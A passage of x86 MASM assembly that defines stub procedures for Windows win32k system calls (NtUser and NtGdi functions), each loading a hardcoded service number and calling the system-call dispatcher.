ENDP ; ULONG __stdcall NtUserTranslateMessage( ULONG arg_01 , ULONG arg_02 ); NtUserTranslateMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4702 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserTranslateMessage ENDP ; ULONG __stdcall NtUserUnhookWindowsHookEx( ULONG arg_01 ); NtUserUnhookWindowsHookEx PROC STDCALL arg_01:DWORD mov eax , 4703 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnhookWindowsHookEx ENDP ; ULONG __stdcall NtUserUnhookWinEvent( ULONG arg_01 ); NtUserUnhookWinEvent PROC STDCALL arg_01:DWORD mov eax , 4704 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnhookWinEvent ENDP ; ULONG __stdcall NtUserUnloadKeyboardLayout( ULONG arg_01 ); NtUserUnloadKeyboardLayout PROC STDCALL arg_01:DWORD mov eax , 4705 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnloadKeyboardLayout ENDP ; ULONG __stdcall NtUserUnlockWindowStation( ULONG arg_01 ); NtUserUnlockWindowStation PROC STDCALL arg_01:DWORD mov eax , 4706 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnlockWindowStation ENDP ; ULONG __stdcall NtUserUnregisterClass( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUnregisterClass PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4707 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUnregisterClass ENDP ; ULONG __stdcall NtUserUnregisterUserApiHook( ); NtUserUnregisterUserApiHook PROC STDCALL mov eax , 4708 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserUnregisterUserApiHook ENDP ; ULONG __stdcall NtUserUnregisterHotKey( ULONG arg_01 , ULONG arg_02 ); NtUserUnregisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4709 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserUnregisterHotKey ENDP ; ULONG __stdcall NtUserUpdateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4710 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateInputContext ENDP ; ULONG __stdcall NtUserUpdateInstance( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateInstance PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4711 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateInstance ENDP ; ULONG __stdcall NtUserUpdateLayeredWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtUserUpdateLayeredWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4712 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtUserUpdateLayeredWindow ENDP ; ULONG __stdcall NtUserGetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4713 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetLayeredWindowAttributes ENDP ; ULONG __stdcall NtUserSetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4714 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetLayeredWindowAttributes ENDP ; ULONG __stdcall NtUserUpdatePerUserSystemParameters( ULONG arg_01 ); NtUserUpdatePerUserSystemParameters PROC STDCALL arg_01:DWORD mov eax , 4715 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUpdatePerUserSystemParameters ENDP ; ULONG __stdcall NtUserUserHandleGrantAccess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUserHandleGrantAccess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4716 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUserHandleGrantAccess ENDP ; ULONG __stdcall NtUserValidateHandleSecure( ULONG arg_01 ); NtUserValidateHandleSecure PROC STDCALL arg_01:DWORD mov eax , 4717 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserValidateHandleSecure ENDP ; ULONG __stdcall NtUserValidateRect( ULONG arg_01 , ULONG arg_02 ); NtUserValidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4718 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserValidateRect ENDP ; ULONG __stdcall NtUserValidateTimerCallback( ULONG arg_01 ); NtUserValidateTimerCallback PROC STDCALL arg_01:DWORD mov eax , 4719 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserValidateTimerCallback ENDP ; ULONG __stdcall NtUserVkKeyScanEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserVkKeyScanEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4720 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserVkKeyScanEx ENDP ; ULONG __stdcall NtUserWaitForInputIdle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserWaitForInputIdle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4721 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserWaitForInputIdle ENDP ; ULONG __stdcall NtUserWaitForMsgAndEvent( ULONG arg_01 ); NtUserWaitForMsgAndEvent PROC STDCALL arg_01:DWORD mov eax , 4722 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserWaitForMsgAndEvent ENDP ; ULONG __stdcall NtUserWaitMessage( ); NtUserWaitMessage PROC STDCALL mov eax , 4723 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserWaitMessage ENDP ; ULONG __stdcall NtUserWindowFromPhysicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserWindowFromPhysicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4724 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserWindowFromPhysicalPoint ENDP ; ULONG __stdcall NtUserWindowFromPoint( ULONG arg_01 , ULONG arg_02 ); NtUserWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4725 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserWindowFromPoint ENDP ; ULONG __stdcall NtUserYieldTask( ); NtUserYieldTask PROC STDCALL mov eax , 4726 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserYieldTask ENDP ; ULONG __stdcall NtUserRemoteConnect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRemoteConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4727 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRemoteConnect ENDP ; ULONG __stdcall NtUserRemoteRedrawRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRemoteRedrawRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4728 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRemoteRedrawRectangle ENDP ; ULONG __stdcall NtUserRemoteRedrawScreen( ); NtUserRemoteRedrawScreen PROC STDCALL mov eax , 4729 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserRemoteRedrawScreen ENDP ; ULONG __stdcall NtUserRemoteStopScreenUpdates( ); NtUserRemoteStopScreenUpdates PROC STDCALL mov eax , 4730 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserRemoteStopScreenUpdates ENDP ; ULONG __stdcall NtUserCtxDisplayIOCtl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCtxDisplayIOCtl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4731 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCtxDisplayIOCtl ENDP ; ULONG __stdcall NtUserRegisterSessionPort( ULONG arg_01 , ULONG arg_02 ); NtUserRegisterSessionPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4732 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRegisterSessionPort ENDP ; ULONG __stdcall NtUserUnregisterSessionPort( ); NtUserUnregisterSessionPort PROC STDCALL mov eax , 4733 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserUnregisterSessionPort ENDP ; ULONG __stdcall NtUserUpdateWindowTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateWindowTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4734 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateWindowTransform ENDP ; ULONG __stdcall NtUserDwmStartRedirection( ULONG arg_01 ); NtUserDwmStartRedirection PROC STDCALL arg_01:DWORD mov eax , 4735 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDwmStartRedirection ENDP ; ULONG __stdcall NtUserDwmStopRedirection( ); NtUserDwmStopRedirection PROC STDCALL mov eax , 4736 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDwmStopRedirection ENDP ; ULONG __stdcall NtUserGetWindowMinimizeRect( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowMinimizeRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4737 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowMinimizeRect ENDP ; ULONG __stdcall NtUserSfmDxBindSwapChain( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSfmDxBindSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4738 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSfmDxBindSwapChain ENDP ; ULONG __stdcall NtUserSfmDxOpenSwapChain( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSfmDxOpenSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4739 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSfmDxOpenSwapChain ENDP ; ULONG __stdcall NtUserSfmDxReleaseSwapChain( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxReleaseSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4740 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxReleaseSwapChain ENDP ; ULONG __stdcall NtUserSfmDxSetSwapChainBindingStatus( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxSetSwapChainBindingStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4741 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxSetSwapChainBindingStatus ENDP ; ULONG __stdcall NtUserSfmDxQuerySwapChainBindingStatus( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSfmDxQuerySwapChainBindingStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4742 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSfmDxQuerySwapChainBindingStatus ENDP ; ULONG __stdcall NtUserSfmDxReportPendingBindingsToDwm( ); NtUserSfmDxReportPendingBindingsToDwm PROC STDCALL mov eax , 4743 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSfmDxReportPendingBindingsToDwm ENDP ; ULONG __stdcall NtUserSfmDxGetSwapChainStats( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxGetSwapChainStats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4744 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxGetSwapChainStats ENDP ; ULONG __stdcall NtUserSfmDxSetSwapChainStats( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxSetSwapChainStats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4745 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxSetSwapChainStats ENDP ; ULONG __stdcall NtUserSfmGetLogicalSurfaceBinding( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSfmGetLogicalSurfaceBinding PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4746 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSfmGetLogicalSurfaceBinding ENDP ; ULONG __stdcall NtUserSfmDestroyLogicalSurfaceBinding( ULONG arg_01 ); NtUserSfmDestroyLogicalSurfaceBinding PROC STDCALL arg_01:DWORD mov eax , 4747 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSfmDestroyLogicalSurfaceBinding ENDP ; ULONG __stdcall NtUserModifyWindowTouchCapability( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserModifyWindowTouchCapability PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4748 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserModifyWindowTouchCapability ENDP ; ULONG __stdcall NtUserIsTouchWindow( ULONG arg_01 , ULONG arg_02 ); NtUserIsTouchWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4749 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserIsTouchWindow ENDP ; ULONG __stdcall NtUserSendTouchInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSendTouchInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4750 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSendTouchInput ENDP ; ULONG __stdcall NtUserEndTouchOperation( ULONG arg_01 ); NtUserEndTouchOperation PROC STDCALL arg_01:DWORD mov eax , 4751 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserEndTouchOperation ENDP ; ULONG __stdcall NtUserGetTouchInputInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetTouchInputInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4752 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetTouchInputInfo ENDP ; ULONG __stdcall NtUserChangeWindowMessageFilterEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChangeWindowMessageFilterEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4753 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChangeWindowMessageFilterEx ENDP ; ULONG __stdcall NtUserInjectGesture( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserInjectGesture PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4754 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserInjectGesture ENDP ; ULONG __stdcall NtUserGetGestureInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetGestureInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4755 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGestureInfo ENDP ; ULONG __stdcall NtUserGetGestureExtArgs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetGestureExtArgs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4756 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetGestureExtArgs ENDP ; ULONG __stdcall NtUserManageGestureHandlerWindow( ULONG arg_01 , ULONG arg_02 ); NtUserManageGestureHandlerWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4757 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserManageGestureHandlerWindow ENDP ; ULONG __stdcall NtUserSetGestureConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetGestureConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4758 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetGestureConfig ENDP ; ULONG __stdcall NtUserGetGestureConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetGestureConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4759 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetGestureConfig ENDP ; ULONG __stdcall NtGdiEngAssociateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngAssociateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4760 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngAssociateSurface ENDP ; ULONG __stdcall NtGdiEngCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4761 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCreateBitmap ENDP ; ULONG __stdcall NtGdiEngCreateDeviceSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEngCreateDeviceSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4762 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEngCreateDeviceSurface ENDP ; ULONG __stdcall NtGdiEngCreateDeviceBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEngCreateDeviceBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4763 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEngCreateDeviceBitmap ENDP ; ULONG __stdcall NtGdiEngCreatePalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCreatePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4764 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCreatePalette ENDP ; ULONG __stdcall NtGdiEngComputeGlyphSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngComputeGlyphSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4765 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngComputeGlyphSet ENDP ; ULONG __stdcall NtGdiEngCopyBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCopyBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4766 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCopyBits ENDP ; ULONG __stdcall NtGdiEngDeletePalette( ULONG arg_01 ); NtGdiEngDeletePalette PROC STDCALL arg_01:DWORD mov eax , 4767 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeletePalette ENDP ; ULONG __stdcall NtGdiEngDeleteSurface( ULONG arg_01 ); NtGdiEngDeleteSurface PROC STDCALL arg_01:DWORD mov eax , 4768 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeleteSurface ENDP ; ULONG __stdcall NtGdiEngEraseSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngEraseSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4769 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngEraseSurface ENDP ; ULONG __stdcall NtGdiEngUnlockSurface( ULONG arg_01 ); NtGdiEngUnlockSurface PROC STDCALL arg_01:DWORD mov eax , 4770 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngUnlockSurface ENDP ; ULONG __stdcall NtGdiEngLockSurface( ULONG arg_01 ); NtGdiEngLockSurface PROC STDCALL arg_01:DWORD mov eax , 4771 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngLockSurface ENDP ; ULONG __stdcall NtGdiEngBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4772 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngBitBlt ENDP ; ULONG __stdcall NtGdiEngStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4773 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngStretchBlt ENDP ; ULONG __stdcall NtGdiEngPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4774 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngPlgBlt ENDP ; ULONG __stdcall NtGdiEngMarkBandingSurface( ULONG arg_01 ); NtGdiEngMarkBandingSurface PROC STDCALL arg_01:DWORD mov eax , 4775 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngMarkBandingSurface ENDP ; ULONG __stdcall NtGdiEngStrokePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEngStrokePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4776 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEngStrokePath ENDP ; ULONG __stdcall NtGdiEngFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEngFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4777 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEngFillPath ENDP ; ULONG __stdcall NtGdiEngStrokeAndFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngStrokeAndFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4778 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngStrokeAndFillPath ENDP ; ULONG __stdcall NtGdiEngPaint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiEngPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4779 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiEngPaint ENDP ; ULONG __stdcall NtGdiEngLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiEngLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4780 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiEngLineTo ENDP ; ULONG __stdcall NtGdiEngAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEngAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4781 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEngAlphaBlend ENDP ; ULONG __stdcall NtGdiEngGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4782 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngGradientFill ENDP ; ULONG __stdcall NtGdiEngTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEngTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4783 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEngTransparentBlt ENDP ; ULONG __stdcall NtGdiEngTextOut( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngTextOut PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4784 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngTextOut ENDP ; ULONG __stdcall NtGdiEngStretchBltROP( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 ); NtGdiEngStretchBltROP PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD mov eax , 4785 mov edx , 7FFE0300h call dword ptr [edx] ret 52 NtGdiEngStretchBltROP ENDP ; ULONG __stdcall NtGdiXLATEOBJ_cGetPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiXLATEOBJ_cGetPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4786 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiXLATEOBJ_cGetPalette ENDP ; ULONG __stdcall NtGdiXLATEOBJ_iXlate( ULONG arg_01 , ULONG arg_02 ); NtGdiXLATEOBJ_iXlate PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4787 mov edx , 7FFE0300h call dword ptr [edx] ret 8 